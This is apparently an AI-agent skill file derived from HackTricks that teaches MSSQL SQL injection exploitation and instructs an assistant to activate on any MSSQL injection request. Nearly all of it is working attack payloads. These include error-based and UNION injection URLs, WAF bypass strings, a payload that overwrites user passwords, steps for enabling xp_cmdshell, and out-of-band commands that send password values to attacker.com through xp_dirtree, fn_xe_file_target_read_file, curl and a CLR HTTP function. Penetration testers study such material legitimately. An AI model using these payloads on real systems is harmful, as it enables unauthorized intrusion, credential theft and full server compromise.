Hacktricks-skills mssql-injection
MSSQL SQL injection exploitation techniques including Active Directory enumeration, SSRF via MSSQL functions, WAF bypass methods, and data exfiltration. Use this skill whenever the user mentions MSSQL, Microsoft SQL Server, SQL injection against MSSQL databases, or needs to enumerate domain users, bypass WAFs, or exfiltrate data from MSSQL servers. Trigger for any MSSQL-specific injection scenarios, not just generic SQL injection.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/sql-injection/mssql-injection/SKILL.MDMSSQL Injection Exploitation
A comprehensive guide for exploiting SQL injection vulnerabilities in Microsoft SQL Server databases.
When to Use This Skill
Use this skill when:
- You've identified a SQL injection vulnerability and need to determine if it's MSSQL
- You need to enumerate Active Directory users from an MSSQL server
- You want to perform SSRF attacks through MSSQL functions
- You need to bypass WAFs that block standard SQL injection patterns
- You want to exfiltrate data from MSSQL databases efficiently
- You're working with MSSQL-specific stored procedures and functions
Quick Start
1. Identify MSSQL Server
First, confirm you're dealing with MSSQL by checking error messages or using version detection:
-- Check MSSQL version SELECT @@version -- Alternative version check SELECT SERVERPROPERTY('productversion')
2. Enumerate Database Schema
-- Get all tables SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' -- Get columns from all tables SELECT table_schema, table_name, column_name FROM information_schema.columns -- Quick schema dump using FOR JSON (MSSQL 2016+) SELECT * FROM information_schema.columns FOR JSON AUTO
Active Directory Enumeration
MSSQL servers often have access to Active Directory. You can enumerate domain users through SQL injection.
Get Domain Information
-- Get current domain name SELECT DEFAULT_DOMAIN() -- Get SID of domain Administrator (replace DOMAIN with actual domain) SELECT master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\\Administrator'))
The SID will look like
0x01050000000[...]0000f401. The last 4 bytes represent the RID (Relative ID) in big endian format. 0000f401 = 500 (Administrator's common RID).
Enumerate Domain Users
Use
SUSER_SNAME() to convert SIDs to usernames. The domain portion of the SID stays constant; only the last 4 bytes (RID) change.
-- Get username for RID 1000 (typically first regular user) SELECT SUSER_SNAME(0x0105000000000005150000001c00d1bcd181f1492bdfc2360000e803) -- Brute force RIDs 1000-2000 to enumerate users -- Use the script in scripts/enumerate_domain_users.py
Domain User Enumeration Script
Use
scripts/enumerate_domain_users.py to generate SIDs for brute-forcing user RIDs:
python scripts/enumerate_domain_users.py --domain-sid "0x0105000000000005150000001c00d1bcd181f1492bdfc236" --start 1000 --end 2000
Error-Based Injection Vectors
Standard error-based patterns like
+AND+1=@@version-- are often blocked by WAFs. Use these alternative vectors:
String Concatenation Bypass
Use
%2b (URL-encoded +) to concatenate strings with function results:
-- Using USER_NAME() https://vuln.app/getItem?id=1'%2buser_name(@@version)-- -- Using SUSER_NAME() https://vuln.app/getItem?id=1'%2bsuser_name(1)-- -- Using DB_NAME() https://vuln.app/getItem?id=1'%2bdb_name()-- -- Using FILE_NAME() https://vuln.app/getItem?id=1'%2bfile_name(1)-- -- Using TYPE_NAME() https://vuln.app/getItem?id=1'%2btype_name(1)-- -- Using COL_NAME() https://vuln.app/getItem?id=1'%2bcol_name(1,1)--
Functions That Trigger Type Conversion Errors
- Returns username for SIDSUSER_NAME()
- Returns database user nameUSER_NAME()
- Returns permissionsPERMISSIONS()
- Returns database nameDB_NAME()
- Returns file nameFILE_NAME()
- Returns data type nameTYPE_NAME()
- Returns column nameCOL_NAME()
SSRF via MSSQL Functions
MSSQL provides several functions that can trigger outbound network requests.
fn_xe_file_target_read_file
Requires
VIEW SERVER STATE permission.
-- Check permission SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; -- Alternative check USE master; EXEC sp_helprotect 'fn_xe_file_target_read_file'; -- SSRF payload SELECT * FROM fn_xe_file_target_read_file( 'C:\*.xel', '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com\1.xem', NULL, NULL )
fn_get_audit_file
Requires
CONTROL SERVER permission.
-- Check permission SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER'; -- Alternative check USE master; EXEC sp_helprotect 'fn_get_audit_file'; -- SSRF payload SELECT * FROM fn_get_audit_file( '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com', DEFAULT, DEFAULT )
fn_trace_gettable
Requires
CONTROL SERVER permission.
-- Check permission SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER'; -- Alternative check USE master; EXEC sp_helprotect 'fn_trace_gettable'; -- SSRF payload SELECT * FROM fn_trace_gettable( '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com\1.trc', DEFAULT )
xp_dirtree, xp_fileexists, xp_subdirs
These stored procedures can make network requests (limited to TCP port 445 for xp_dirtree).
-- xp_dirtree example DECLARE @user varchar(100); SELECT @user = (SELECT user); EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); -- xp_fileexists example EXEC master..xp_fileexist '\\attacker-server\\share\\file.txt'; -- xp_subdirs example EXEC master..xp_subdirs '\\attacker-server\\share';
xp_cmdshell
Execute system commands (requires enabling first):
-- Enable xp_cmdshell EXEC sp_configure 'show advanced option', '1'; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE; -- Execute command EXEC xp_cmdshell 'whoami'; -- SSRF via curl/wget EXEC xp_cmdshell 'curl http://attacker.com/?data=' + (SELECT pass FROM users WHERE id=1);
SQLHttp CLR Function
For advanced SSRF, create a CLR User Defined Function (requires
dbo access):
- Download the SQLHttp project from https://github.com/infiniteloopltd/SQLHttp
- Build the assembly and add it to trusted assemblies:
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937, N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; -- Create assembly CREATE ASSEMBLY HttpDb FROM 'C:\path\to\HttpDb.dll'; -- Create function CREATE FUNCTION http(@url varchar(max)) RETURNS varchar(max) EXTERNAL NAME HttpDb.[UserDefinedFunctions].http; -- Use the function DECLARE @url varchar(max); SET @url = 'http://attacker.com/?data=' + (SELECT pass FROM users WHERE id=1); SELECT dbo.http(@url);
Quick Data Exfiltration
Retrieve Entire Table in One Query
Use
FOR JSON clause (MSSQL 2016+) for concise data extraction:
-- Get all columns from all tables SELECT * FROM information_schema.columns FOR JSON AUTO -- With UNION injection https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- -- For error-based vectors (requires alias) https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Retrieve Current Query
View the currently executing query (requires
VIEW SERVER STATE for all sessions):
SELECT text FROM sys.dm_exec_requests CROSS APPLY sys.dm_exec_sql_text(sql_handle) -- Check permission SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
WAF Bypass Techniques
Non-Standard Whitespace
Use Unicode whitespace characters to bypass filters:
-- %C2%85 (Next Line) and %C2%A0 (Non-breaking space) https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific and Hex Notation
Obfuscate UNION keyword:
-- Scientific notation https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- -- Hex notation https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
Period Instead of Whitespace
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
Backslash-N Separator
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
Unorthodox Stacked Queries
MSSQL allows stacking queries without semicolons:
-- Standard stacked queries SELECT 'a'; SELECT 'b'; -- Without semicolons (WAF bypass) SELECT 'a' SELECT 'b' -- Complex example use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Practical WAF Bypass Examples
-- Add useless exec() to confuse WAF admina'union select 1,'admin','testtest123'exec('select 1')-- -- Direct password update admin'exec('update[users]set[password]=''a''')-- -- Enable xp_cmdshell admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Permission Checking
Always check what permissions you have before attempting techniques:
-- Check all server permissions SELECT * FROM fn_my_permissions(NULL, 'SERVER'); -- Check specific permission SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER'; -- Check procedure permissions USE master; EXEC sp_helprotect 'fn_xe_file_target_read_file'; EXEC sp_helprotect 'xp_cmdshell';
Safety and Ethics
- Only use these techniques on systems you have explicit authorization to test
- MSSQL injection can lead to full system compromise
- Document your findings and report vulnerabilities responsibly
- Be aware that some techniques (xp_cmdshell, CLR functions) require elevated privileges
References
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
- https://github.com/infiniteloopltd/SQLHttp
- https://www.notsosecure.com/oob-exploitation-cheatsheet/
- https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/